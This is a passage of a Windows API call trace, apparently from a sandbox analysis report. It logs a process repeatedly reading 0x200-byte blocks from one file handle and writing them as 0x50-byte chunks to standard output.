lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.002] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.002] GetFileType (hFile=0x90) returned 0x1 [0302.002] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.002] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.002] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.002] GetFileType (hFile=0x90) returned 0x1 [0302.002] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.002] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.002] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.002] GetFileType (hFile=0x90) returned 0x1 [0302.002] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] GetFileType (hFile=0x90) returned 0x1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] GetFileType (hFile=0x90) returned 0x1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] GetFileType (hFile=0x90) returned 0x1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.003] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.003] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.003] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.003] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] GetFileType (hFile=0x90) returned 0x1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] GetFileType (hFile=0x90) returned 0x1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.003] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.003] GetFileType (hFile=0x90) returned 0x1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] GetFileType (hFile=0x90) returned 0x1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] GetFileType (hFile=0x90) returned 0x1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] GetFileType (hFile=0x90) returned 0x1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] GetFileType (hFile=0x90) returned 0x1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] GetFileType (hFile=0x90) returned 0x1 [0302.004] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.004] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.004] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.004] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.005] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.005] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] GetFileType (hFile=0x90) returned 0x1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] GetFileType (hFile=0x90) returned 0x1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] GetFileType (hFile=0x90) returned 0x1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] GetFileType (hFile=0x90) returned 0x1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] GetFileType (hFile=0x90) returned 0x1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] GetFileType (hFile=0x90) returned 0x1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.005] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.005] GetFileType (hFile=0x90) returned 0x1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] GetFileType (hFile=0x90) returned 0x1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.006] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.006] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.006] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.006] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] GetFileType (hFile=0x90) returned 0x1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] GetFileType (hFile=0x90) returned 0x1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] GetFileType (hFile=0x90) returned 0x1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] GetFileType (hFile=0x90) returned 0x1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.006] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.006] GetFileType (hFile=0x90) returned 0x1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] GetFileType (hFile=0x90) returned 0x1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] GetFileType (hFile=0x90) returned 0x1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] GetFileType (hFile=0x90) returned 0x1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.007] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.007] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.007] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.007] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] GetFileType (hFile=0x90) returned 0x1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] GetFileType (hFile=0x90) returned 0x1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.007] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.007] GetFileType (hFile=0x90) returned 0x1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] GetFileType (hFile=0x90) returned 0x1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] GetFileType (hFile=0x90) returned 0x1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] GetFileType (hFile=0x90) returned 0x1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] GetFileType (hFile=0x90) returned 0x1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] GetFileType (hFile=0x90) returned 0x1 [0302.008] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.008] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.008] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.008] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.009] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.009] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] GetFileType (hFile=0x90) returned 0x1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] GetFileType (hFile=0x90) returned 0x1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] GetFileType (hFile=0x90) returned 0x1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] GetFileType (hFile=0x90) returned 0x1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] GetFileType (hFile=0x90) returned 0x1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] GetFileType (hFile=0x90) returned 0x1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.009] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.009] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.010] GetFileType (hFile=0x90) returned 0x1 [0302.010] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.010] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.010] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.010] GetFileType (hFile=0x90) returned 0x1 [0302.010] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.010] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.010] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.010] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.010] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.010] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.010] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.010] GetFileType (hFile=0x90) returned 0x1 [0302.010] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.010] GetFileType (hFile=0x90) returned 0x1 [0302.010] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.010] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.010] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.010] GetFileType (hFile=0x90) returned 0x1 [0302.010] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.010] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] GetFileType (hFile=0x90) returned 0x1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] GetFileType (hFile=0x90) returned 0x1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] GetFileType (hFile=0x90) returned 0x1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] WriteFile (in: hFile=0x90, lpBuffer=0x7de548*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de548*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] GetFileType (hFile=0x90) returned 0x1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] WriteFile (in: hFile=0x90, lpBuffer=0x7de598*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de598*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] GetFileType (hFile=0x90) returned 0x1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.011] WriteFile (in: hFile=0x90, lpBuffer=0x7de5e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de5e8*, lpNumberOfBytesWritten=0x7de1b8*=0x20, lpOverlapped=0x0) returned 1 [0302.011] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.011] SetFilePointerEx (in: hFile=0xe8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x7de1c8 | out: lpNewFilePointer=0x0) returned 1 [0302.011] _get_osfhandle (_FileHandle=4) returned 0xe8 [0302.011] ReadFile (in: hFile=0xe8, lpBuffer=0x7de408, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x7de1ac, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesRead=0x7de1ac*=0x200, lpOverlapped=0x0) returned 1 [0302.011] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] GetFileType (hFile=0x90) returned 0x1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] GetFileType (hFile=0x90) returned 0x1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] WriteFile (in: hFile=0x90, lpBuffer=0x7de408*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de408*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] GetFileType (hFile=0x90) returned 0x1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] WriteFile (in: hFile=0x90, lpBuffer=0x7de458*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de458*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] GetFileType (hFile=0x90) returned 0x1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] WriteFile (in: hFile=0x90, lpBuffer=0x7de4a8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4a8*, lpNumberOfBytesWritten=0x7de1b8*=0x50, lpOverlapped=0x0) returned 1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] GetFileType (hFile=0x90) returned 0x1 [0302.012] _get_osfhandle (_FileHandle=1) returned 0x90 [0302.012] WriteFile (in: hFile=0x90, lpBuffer=0x7de4f8*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x7de1b8, lpOverlapped=0x0 | out: lpBuffer=0x7de4f8*, 